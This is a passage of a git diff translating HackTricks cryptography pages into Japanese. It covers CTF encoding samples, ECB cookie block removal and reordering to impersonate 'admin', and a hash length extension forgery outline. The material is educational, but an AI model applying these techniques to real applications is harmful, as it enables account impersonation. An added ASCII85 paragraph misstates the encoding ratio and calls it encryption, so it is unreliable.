`kLD8igSXm2KZlwrX` +* **TIGO3FX** \[] +* `7AP9mIzdmltYmIP9mWXX` +* **TRIPO5** \[] +* `UE9vSbnBW6psVzxB` +* **FERON74** \[] +* `PbGkNudxCzaKBm0x` +* **GILA7** \[] +* `D+nkv8C1qIKMErY1` +* **Citrix CTX1** \[] +* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` + +[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) + +### HackerizeXS \[_╫Λ↻├☰┏_] ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Not Found: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) -* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - -### Morse - +### モールス符号 ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` +* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Not Found: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder - +### UUエンコーダー ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -156,129 +190,113 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - * [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) -### XXEncoder - +### XXエンコーダー ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - * [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) -### YEncoder - +### Yエンコーダー ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - * [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - * [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 +ASCII85は、バイナリデータをテキスト形式に変換するためのエンコーディングスキームです。このスキームは、バイナリデータをテキスト形式で表現することで、データの転送や保存を容易にします。ASCII85は、AdobeがPostScriptファイルで使用するために開発したもので、データの圧縮や暗号化にも使用されます。 + +ASCII85エンコーディングは、5バイトのバイナリデータを4文字のテキストに変換します。変換されたテキストは、ASCII文字の範囲内で表現され、可読性が高いです。デコードする際には、テキストを元のバイナリデータに戻すことができます。 + +ASCII85は、CTF(Capture The Flag)や暗号解読のコンテストでよく使用される暗号化スキームです。データの変換や解読には、オンラインツールやPythonのライブラリを使用することができます。 ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - * [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Dvorakキーボード ``` drnajapajrna ``` - -* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard) +* [https://www.geocachingtoolbox.com/index.php?lang=ja\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=ja\&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +文字を数値に変換します。 ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### アフィン暗号のエンコード -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +文字を数値に変換する `(ax+b)%26` (_a_ と _b_ は鍵であり、_x_ は文字) し、結果を再び文字に変換します。 ``` krodfdudfrod ``` +### SMSコード -### SMS Code +**マルチタップ**は、モバイル[電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher)上の対応するキーコードによって定義された繰り返し数字によって、[文字を置き換えます](https://www.dcode.fr/word-letter-change)(このモードはSMSを書くときに使用されます)。 +例えば:2=A、22=B、222=C、3=D... +このコードは、**複数の数字が繰り返されている**ことで識別できます。 -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +このコードは、[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)でデコードすることができます。 -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### ベーコンコード +各文字を4つのAまたはB(または1と0)に置き換えます。 ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - -### Runes +### ルーン ![](../.gitbook/assets/runes.jpg) -## Compression +## 圧縮 -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate**と**Raw Inflate**(どちらもCyberchefで見つけることができます)は、ヘッダーなしでデータを圧縮および展開することができます。 -## Easy Crypto +## 簡単な暗号 -### XOR - Autosolver +### XOR - 自動解読 * [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -A keywork is needed - +キーワードが必要です ``` fgaargaamnlunesuneoa ``` +### ヴィジュネル暗号 -### Vigenere - -A keywork is needed - +キーワードが必要です。 ``` wodsyoidrods ``` - * [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) * [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) * [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## 強力な暗号 ### Fernet -2 base64 strings (token and key) - +2つのBase64文字列(トークンとキー) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -286,27 +304,22 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### サミールの秘密共有 +秘密はX個の部分に分割され、回復するにはY個の部分が必要です(_Y <=X_)。 ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - -[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) - -### OpenSSL brute-force +### OpenSSLブルートフォース * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) * [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF) -## Tools +## ツール * [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) @@ -316,14 +329,14 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md index 5d9240085..fc2abc845 100644 --- a/cryptography/electronic-code-book-ecb.md +++ b/cryptography/electronic-code-book-ecb.md @@ -1,52 +1,46 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Electronic Code Book - 対称暗号化方式で、**クリアテキストの各ブロック**を**暗号文のブロック**で置き換えます。これは**最も単純な**暗号化方式です。主なアイデアは、クリアテキストを**Nビットのブロック**(入力データのブロックサイズ、暗号化アルゴリズムに依存)に**分割**し、その後、唯一の鍵を使用して各クリアテキストのブロックを暗号化(復号化)することです。 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECBの使用には、複数のセキュリティ上の問題があります: -* **Blocks from encrypted message can be removed** -* **Blocks from encrypted message can be moved around** +* 暗号化されたメッセージから**ブロックを削除**することができます。 +* 暗号化されたメッセージから**ブロックを移動**することができます。 -# Detection of the vulnerability - -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +# 脆弱性の検出 +アプリケーションに複数回ログインし、**常に同じクッキー**を取得すると想像してください。これは、アプリケーションのクッキーが**`|`**であるためです。\ +次に、**同じ長いパスワード**と**ほぼ同じ** **ユーザー名**を持つ新しいユーザーを2人生成します。\ +**2つのデコードされたクッキー**には、ブロック**`\x23U\xE45K\xCB\x21\xC8`**が複数回含まれていることに注意してください。 ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +これは、クッキーの**ユーザー名とパスワードに複数回文字 "a" が含まれていた**ためです(例えば)。**異なる**ブロックは、**少なくとも1つの異なる文字**(おそらく区切り記号 "|" またはユーザー名に必要な違い)を含んでいるブロックです。 -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +さて、攻撃者は単に、`` または `` の形式を見つける必要があります。そのために、彼は単に**類似した長いユーザー名とパスワードを持つ複数のユーザー名**を生成し、区切り記号の形式と長さを見つけるまで続けることができます。 -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** - -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | +| ユーザー名の長さ | パスワードの長さ | ユーザー名+パスワードの長さ | クッキーの長さ(デコード後) | | ---------------- | ---------------- | ------------------------- | --------------------------------- | | 2 | 2 | 4 | 8 | | 3 | 3 | 6 | 8 | @@ -54,37 +48,31 @@ Now, the attacker just need to discover if the format is `< | 4 | 4 | 8 | 16 | | 7 | 7 | 14 | 16 | -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +# 脆弱性の悪用 +クッキーの形式を知っている(`|`)、ユーザー名 `admin` をなりすますために、`aaaaaaaaadmin` という新しいユーザーを作成し、クッキーを取得してデコードします: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +以前に作成されたユーザー名には、`\x23U\xE45K\xCB\x21\xC8`というパターンが見られます。\ +次に、最初の8Bのブロックを削除すると、ユーザー名`admin`の有効なクッキーが得られます。 ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## ブロックの移動 -## Moving blocks +多くのデータベースでは、`WHERE username='admin';` と `WHERE username='admin ';` の検索は同じです。 _(余分なスペースに注意)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +したがって、ユーザー `admin` をなりすます別の方法は次のとおりです。 -So, another way to impersonate the user `admin` would be to: +* `len() + len(` は 2 つの 8B ブロックを生成します。 +* 次に、ユーザー名とスペースを含むブロックの正確な数を埋めるパスワードを生成します。例えば、`admin ` というパスワードを生成します。 -* Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +このユーザーのクッキーは、3 つのブロックで構成されます。最初の 2 つはユーザー名 + デリミタのブロックであり、3 つ目はパスワードのブロックです(ユーザー名を偽装しています):`username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +** その後、最初のブロックを最後のブロックと置き換えるだけで、ユーザー `admin` をなりすませることができます:`admin |username`** -** Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -# References +# 参考文献 * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) @@ -93,16 +81,14 @@ The cookie of this user is going to be composed by 3 blocks: the first 2 is the ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンや HackTricks の PDF をダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)に PR を提出してください。** - - diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index 4aca0ce5e..6d7ade57a 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -1,70 +1,66 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Summary of the attack +# 攻撃の概要 -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +あるサーバーが、既知のクリアテキストデータに**秘密情報**を**追加**し、そのデータをハッシュ化して**署名**していると想像してください。以下の情報がわかる場合: -* **The length of the secret** (this can be also bruteforced from a given length range) -* **The clear text data** -* **The algorithm (and it's vulnerable to this attack)** -* **The padding is known** - * Usually a default one is used, so if the other 3 requirements are met, this also is - * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +* **秘密情報の長さ**(これは与えられた長さ範囲からもブルートフォースできます) +* **クリアテキストデータ** +* **アルゴリズム(この攻撃に対して脆弱)** +* **パディングが既知である** +* 通常、デフォルトのパディングが使用されるため、他の3つの要件が満たされている場合、これも満たされます +* パディングは秘密情報+データの長さによって異なるため、秘密情報の長さが必要です -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**. +すると、**攻撃者**は**データを追加**し、**前のデータ+追加されたデータ**の有効な**署名**を**生成**することができます。 -## How? +## 方法 -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +基本的に、脆弱なアルゴリズムは、まず**データのブロック**をハッシュ化し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロック**を**追加**して**ハッシュ化**します。 -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +例えば、秘密情報が「secret」でデータが「data」である場合、"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ +攻撃者が文字列「append」を追加したい場合、次の手順を実行できます: -* Generate a MD5 of 64 "A"s -* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -* Append the string "append" -* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +* 64個の「A」のMD5を生成します。 +* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更します。 +* 文字列「append」を追加します。 +* ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」に対して**有効なハッシュ**になります。 -## **Tool** +## **ツール** {% embed url="https://github.com/iagox86/hash_extender" %} -# References +# 参考文献 -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md index d8ee1f51e..98dcd4619 100644 --- a/cryptography/padding-oracle-priv.md +++ b/cryptography/padding-oracle-priv.md @@ -1,40 +1,38 @@ - -
